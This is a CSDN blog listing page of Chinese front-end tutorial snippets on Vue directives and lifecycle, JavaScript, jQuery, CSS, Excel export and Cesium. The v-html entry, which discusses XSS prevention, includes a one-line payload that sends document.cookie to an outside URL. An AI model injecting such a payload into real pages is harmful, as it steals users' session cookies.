灬violet灬-优快云博客

原创批量上传附件

批量上传附件 <el-upload class="upload-demo" action="#" :on-change="handleChange2" :show-file-list="false" :on-remove="handleRemove" accept="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.ms-excel" :auto-upload=

2022-04-14 09:26:16 663

原创下载后端返回文件流的文件

1、文件流的处理 // 新建对象 const reader = new FileReader() reader.readAsArrayBuffer(res) // res为后端返回的文件流 reader.onload = (e) => { const result = e.target.result const contentType = res.type const blob = new Blob([result], { type: contentType }) const url

2022-04-14 09:22:26 1324

原创截取浏览器某区域成图片并下载

下载依赖 npm run html2canvas 截图页面 import html2canvas from “html2canvas” /** * 截图方法 */ screenshot(){ let el = this.$refs.screeshot // 截取的内容DOm区域 html2canvas(el,{ background: null }).then(canvas => { let url = canvas.toDataURL.

2022-03-24 15:04:16 213

原创 05-vue学习-生命周期钩子函数

生命周期钩子函数组件从创建开始到被销毁结束所经历的各个阶段。如下图：引用vue官网 create阶段 beforeCreate 在实例初始化之后,进行数据侦听和事件/侦听器的配置之前同步调用 created 在实例创建完成后被立即同步调用。在这一步中，实例已完成对选项的处理，意味着以下内容已被配置完毕：数据侦听、计算属性、方法、事件/侦听器的回调函数。然而，挂载阶段还没开始，且 $el property 目前尚不可用。 mounte阶段 beforeMount 在挂载开始之前被调用：相关的 re

2021-11-15 21:59:18 908 1

原创 04-vue学习-组件

组件组件系统是Vue的一个重要概念，因为它是一种抽象，允许我们使用小型，独立和通常可复用的组件构建大型应用。 1、全局组件 // 注册一个全局组件MyHeader Vue.component('MyHeader',{ template:`<h1>标题内容</h1>` }) // 调用组件 <div id="app"> <myheader></myheader> //采用小写的注册组件 //若是驼峰命名例如 MyHeader

2021-11-11 22:34:14 762

原创 03-vue的学习

1、Ref 获取dom元素 <input ref="inputValue" /> this.$refs.inputValue this.$refs.inputValue.focus() // 获取元素dom，聚焦 2、计算属性 computed computed:计算属性，通常是根据已有的数据，计算出新的数据例子： // 示例： computed: { // 计算属性，通常是根据已有的数据，计算出新数据 completedTodos() { // 计算已完成的待办事项

2021-11-09 21:55:01 155

原创 02-vue的学习-指令

vue中指令的学习 1、模板语法文本 {{}} {{express}}//文本插值语法，在 {{ }} 标记内部写的是 JS 表达式的内容纯HTML v-html ，防止XSS,CSRF（ (1) 前端过滤 (2) 后台转义(< > < >) (3) 给cookie 加上属性 http ） <a href=javascript:location.href='http://www.baidu.com? cookie='+document.cookie>click&

2021-11-08 22:12:42 819

原创 01-vue的学习-初始

Vue 一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。 1、MVVM M -Model:数据 V -View ：视图 VM -ViewModel：实现Model 与 View 的关联，当 Model 数据实现更新，能自动响应式渲染 View 视图，当试图中对界面进行操作时能够自动将操作响应到 Model 中实现数据更新。-- 双向数据绑定（Object.defineProperty() 数据劫持) 几种MV*模式的区别 “MVC”: model

2021-11-08 21:37:29 629

原创表格导出成EXCEL的方法的编写

导出成Excel 安装依赖 npm i --save FileSaver XLSX 页面引入依赖 import FileSaver from 'file-saver' import XLSX from 'xlsx' 编写导出方法 ExportExcel(){ // 获取表格 let table = document.querySelector('#tables').cloneNode(true); // 当表格中使用fixed属性时需要加入下一行代码，防止导出重复数据的情况（以情况而定） t

2021-11-05 17:25:09 423 1

原创 14-javascript-ajax的学习

AJAX的学习 1、背景 async 异步 ( async javascript and xml ) 前后端交互的手段 2、ajax的特点不需要任何其他东西就可以直接操作纯面向对象的语法 JS内部给我们提供了一个内置构造函数我们可以直接使用请求可以让页面无刷新更新数据响应内容不会直接显示到页面 3、使用 AJAX 创建一个 ajax 对象 const xhr = new XMLHttpRequest() const xhr - new ActiveXObject("Microso

2021-10-27 21:51:45 143

原创 13-javascript-JQuery动画

JQuery 动画 1、元素的显示隐藏 show(0) hide() 同时改变宽和高 //第一个参数可以传一个时间单位是毫秒值 //第二个参数是一个回调函数 $(".btn1").click(function(){ $("div").show(1000，()=>{ console.log("显示完毕，执行的回调函数") } console.log("显示") }) $(".btn2").click(function(){ $("div").

2021-10-27 21:11:47 160

原创 12-javascript-JQuery的学习

JQuery jQuery 是一个前前端库里面有很多的封装的方法特点： 1、强大的选择库 2、隐式迭代 3、强大的链式编程注：jQuery 向外暴露了两个对象 jQuery || $ 1、选择器 jQuery 选择到的元素叫做 jQuery对象 jQuery对象不能使用原生js的方法！！！通过原生 js 获取的元素就是原生js的对象，不能使用jQuery的方法！！！ //1、通过id获取 const box = $("#box") box.setAttribute()

2021-10-25 20:41:45 191

原创包管理工具和GIT的使用

npm 包管理工具使用的所有插件所有库。npm包管理工具就像一个大型的超市 npm 的语法下载包 //默认下载最新版本 npm install 包名 npm i 包名 //下载jquery的哪个版本 npm i jquery@版本号 npm i sass --global //全局安装在你的电脑上安装电脑任何一个地方都可以使用 //简写： npm i sass --g npm i jquery --save => npm i jquery -S //项目依赖 npm

2021-10-24 20:19:17 277

原创 11-javascript-设计模式

设计模式针对不同的问题提出的解决方案每一种设计模式只是为了解决一个问题常见的设计模式工厂模式单例模式：针对构造函数创建出来的实例化对象的代码一模一样，形成的一种解决方案组合模式观察模式策略模式代理模式工厂模式 //工厂函数 function Person(){ const obj = {} obj.name = "张三" obj.age = 20 return obj } //工厂模式 function factory(){ functi

2021-10-23 21:37:16 364

原创 10-javascript-构造函数

构造函数定义：通过 new 函数名来实例化对象的函数叫构造函数。任何的函数都可以作为构造函数存在。之所以有构造函数与普通函数之分，主要从功能上进行区别的，构造函数的主要功能为初始化对象，特点是和new 一起使用。new就是在创建对象，从无到有，构造函数就是在为初始化的对象添加属性和方法。构造函数定义时首字母大写（规范）。工厂函数创建对象 function person(name,age,hobby,gender){ const obj = {} obj.name = name

2021-10-23 16:52:40 158

原创 09-javascript-各种事件

常见的事件浏览器事件 onload onscroll 浏览器滚动事件 window.onload = function(){ } window.onscroll = function(){ console.log("滚动起来了") } 鼠标事件 onclick 单击 ondblclick 双击 onmousedown 鼠标按下 onmouseup 鼠标抬起 onmousemove 鼠标移动 box.onmousedown = function(){

2021-10-22 21:52:13 131

原创 08-javascript - BOM / DOM

BOM js组成 => ESCMAScript + BOM + DOM BOM => browser Object model 浏览器对象模型 BOM 里面有一个顶级对象 window 常见操作BOM的方法 navigator 用户信息用户基本信息 userAgent var userAgent = window.navigator.userAgent console.log(userAgent)//Mozilla/5.0 (Windows NT 10.0; W

2021-10-22 21:22:22 215

原创 07-javascript-Math / Date

Math 一系列操作数字的方法 1、Math.pow(2,3) 次方 2、Math.random( ) 求随机数 0 - 1 3、Math.round( ) 四舍五入 4、Math.ceil( ) 向上取整 5、Math.floor( ) 向下取整 6、Math.min( ) 求最小值 7、Math.max( ) 求最大值 8、Math.PI 圆周率 9、Math.sqrt( ) 开平方 10、Math.abs( ) 求绝对值 eg:生成一个范围内的随机数 fun

2021-10-21 21:15:45 154

原创 06-javascript正则表达

1、创建方式 1、字面量创建方式 var reg = /abc/ 2、内置构造函数 var reg = new RegExp("abc") 2、 test 验证字符串是否符合规则 //返回布尔值，符合规则，返回 true 否则 false var str = "abc" var reg = /abc/ var res = reg.test(str) console.log(res)//true 3、元字符 1、\d 有一个数字 2、\D 一个非数字 3、\s 一个空格 4、\S 一个非空

2021-10-21 20:52:11 137

原创 05-javascript字符串

1、创建方式 1、字面量 var str = "hello" 内置构造函数 var str = new String( "hello") 使用内置构造函数的方式创建的字符串，有下标和lengthen属性 var str = new String( "hello") console.log(str[0]) //h console.log(str.length)//5 注：使用字面量形式创建出来的字符串本身没有下标和 length 属性但是如果你要用就把子包装成内置构造函数创建的样子把索引

2021-10-20 21:45:22 107

原创 04-javascript数组

1、数组创建方式 1、字面量 var arr = []; 2、内置构造函数 var arr1 = new Array( ) 数组：有序的数据类型，里面可以放任何数据类型；length 数组的长度创建方式的区别 var arr = [1,2,3,4,"a",false] var arr1 = new Array(10) 如果只传了一个参数，那就是数组的length var arr1 = new Array(1."as",5,45) 如果传了两个及以上的数据，那就是数组里面的数据 2、

2021-10-20 21:06:07 105

原创 03-javascript函数

1、函數的创建函数定义的过程 1、准备一个盒子 2、给这个盒子一个名字 3、把要执行的代码放进盒子里面去（代码不会执行） 1、声明函数 function fn( ){ console.log(123) } 2、函数表达式 var fun = function( ){ console.log(123) } 3、ES6箭头函数 var fn = x => x * x; 2、函数调用声明式函数可以再声明之前调用函数表达式不能在声明式之前调用，但都可以在声明之后调用 function f

2021-10-20 20:24:06 151

原创 04-web前端-css-线性渐变/animation

渐变线性渐变：linear-gradient 从一个方向到另一个方向，渐变属于背景图的一种重复渐变：repeating-linear-gradient 径向渐变：radial-gradient circle 圆 ellipse closest-side 最近边 fartherst-side 最远边 closest-corner 最近角 fatherst-corner 最远角过渡 trsnsition-p

2021-10-19 21:48:02 681

原创 02-javascript条件语句/分支结构语句/循环语句

1、If 条件语句 if(条件) { } ()里面的条件最终湖岸转换为布尔值 if…else if…else if …else 2、三目运算符条件 ? 条件成立执行的代码 : 条件不成立执行的代码 var a = 10 if(a > 10){ alert('哈哈') }else{ alert('嘻嘻') } var a = 10 a > 10 ? alert('哈哈') : alert('嘻嘻') 3、switch switch(你要判断的变

2021-10-19 21:23:41 142

原创 01-javascript初始

1、javascript组成 ECMASctript(规范) + BOM(浏览器对象模型) = DOM(文档对象模型) 2、js书写方式行内式内部<script></script> 外部 <script src="js文件地址"></script> 3、js注释单行注释 // 多行注释 /* */ 4、js输出语句警告框：alert( ) 控制台输出 console.log( ) 页面输出 document.write(

2021-10-19 20:04:00 112

原创 03-web前端初始-CSS

盒模型盒模型：本质上是一个矩形盒子，也就是一个盛装内容的容器。css盒模型本质上是一个盒子，封装周围的html元素。css规定所有的元素都可以拥有像盒子一样的外形和平面空间，即都包含边框、边界、补白、内容区、这就是盒模型盒模型类型标准盒模型（w3c）怪异盒模型（IE）盒模型计算方式----盒模型的大小才是一个标记在网页中实际所占位置的大小注：1、标准盒模型的宽度= 左右margin + 左右border + 左右padding + width 2、怪异盒模型宽度 = 左右margin + +w

2021-10-14 21:03:03 122

原创 02-web前端初始-CSS

float语法介绍语法：float:none/left/right; float:定义网页中其它文本如何环绕该元素显示浮动的目的：就是让竖着的东西横着来有三个取值： left:元素活动浮动在文本左面 right:元素浮动在右面 none:默认值，不浮动 font-size:文字大小问题 1、谷歌浏览器默认支持的字体大小是12px;如果小于12px以12px进行显示 2、浏览器默认字体大小是16px 单位： 1、像素px---相对单位--.

2021-10-13 21:07:00 121

原创 01-web前端初始-CSS

WEB 前端-css 1、标签 form表单 // 表单框 <form name="表单名称" method="post/get" action=""></form> //密码框 <input type="password" /> // 提交按钮 <input type="submit" value="按钮内容" /> //重置按钮 <input type="reset" value="按钮内容" /> //单选框单选按钮里的name属性必

2021-10-13 20:57:32 142

原创 2021-08-16

运用Echarts引入地图引入所需要创建的地图的数据(以四川为例) import "echarts/map/js/province/sichuan.js"; import obj from "echarts/map/json/province/sichuan.json"; 获取数据 created() { this.getData(); }, mounted () { this.DrawMap(); } method:{ getData() { // 获取城市名称数据

2021-08-16 14:42:59 171

原创 vue指令

vue指令 v-show 显示动态的显示和隐藏 v-if 条件渲染动态的创建和删除 v-else-if 条件渲染 v-else 条件渲染 v-bind 动态绑定缩写： : v-on 绑定事件缩写： @ .stop .prevent .enter .ctrl v-for 遍历循环与:key一起用 v-html v-text v-slot 插槽 v-pre v-once v-cloak v-model 双向绑定数据语法糖 ...

2021-05-24 20:47:16 194 1

原创 vue模板和MVVM

vue vue 模板语法 - 表达式 {{10 + 20}} {{20 > 10 ? 'aaa' : 'bbb'}} vue修改数据的原理： //通过Object.defineProperty这个方法进行get和set方法进行拦截的 var obj = {} Object.defineProperty(obj, "myname",{ set(value){ console.log('有人修改了',value) }, get(){ console.log('有人访问了') } })

2021-05-24 20:19:58 137

原创 Cesium中控制相机Camera的方法

Cesium中控制相机Camera的方法常规的相机视角查看 viewer.camera.flyTo({ camera.flyTo({ destination: Cesium.Cartesian3.fromDegrees(103.19, 30.25, 5000.0), duration: 1, orientation: { heading: Cesium.Math.toRadians(), pitch: Cesium.Mat

2021-05-13 22:45:44 2002

原创 viewer自带的一些有用的组件和控件

viewer自带的一些有用的组件和控件 var viewer = new Cesium.Viewer('cesiumContainer',{ animation: false; // 不创建动画窗口小部件 baseLayerPicker: false; // 不会创建底图切换窗口小部件 fullscreenButton: false; // 不会创建全屏小部件 timeline: false;// 不显示时间轴小部件 geocoder: false; // 不创建搜索小部件 homeButton

2021-05-12 22:37:06 291

原创基于Vue搭建Cesium环境

基于Vue搭建Cesium环境 1、利用脚手架创建一个vue项目 vue create my-test // my-test 是项目名称 2、安装vue-cli-plugin-cesium 插件 npm install --save-dev vue-cli-plugin-cesium 3、安装完成后，使用vue invoke 来初始化这个插件 vue invoke vue-cli-plugin-cesium //vue invoke 来初始化时会有三个询问 // 1、Please choose a ve

2021-05-12 21:48:47 1726 2

原创 2020-12-23

Vue 组件的了解概念：组件系统是Vue的另一个重要概念，因为它是一种抽象，允许我们使用小型，独立和通常可复用的组件构建大型应用。 1、组件命名组件名称如果采用驼峰命名，则在使用组件是，采用短横线命名的规范将组件名作为自定义标签使用例如 MyHeader 则写的是<my-header></my-header> 2、全局注册组件 Vue.component('MyHeader',{ template:`<h1>标题内容</h1>` })

2020-12-23 21:25:24 114

原创 Vue.js 入门

Vue.js 入门是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层，不仅易于上手，还便于与第三方库或既有项目整合。另一方面，当与现代化的工具链以及各种支持类库结合使用时，Vue 也完全能够为复杂的单页应用提供驱动。 1、MVVM架构 - M -Model:数据 - V -View ：视图 - VM -ViewModel：实现Model 与 View 的关联，当 Model 数据实现更新，能自动响应式渲染 View 视

2020-12-22 20:17:25 2058 6

weixin_53841588的博客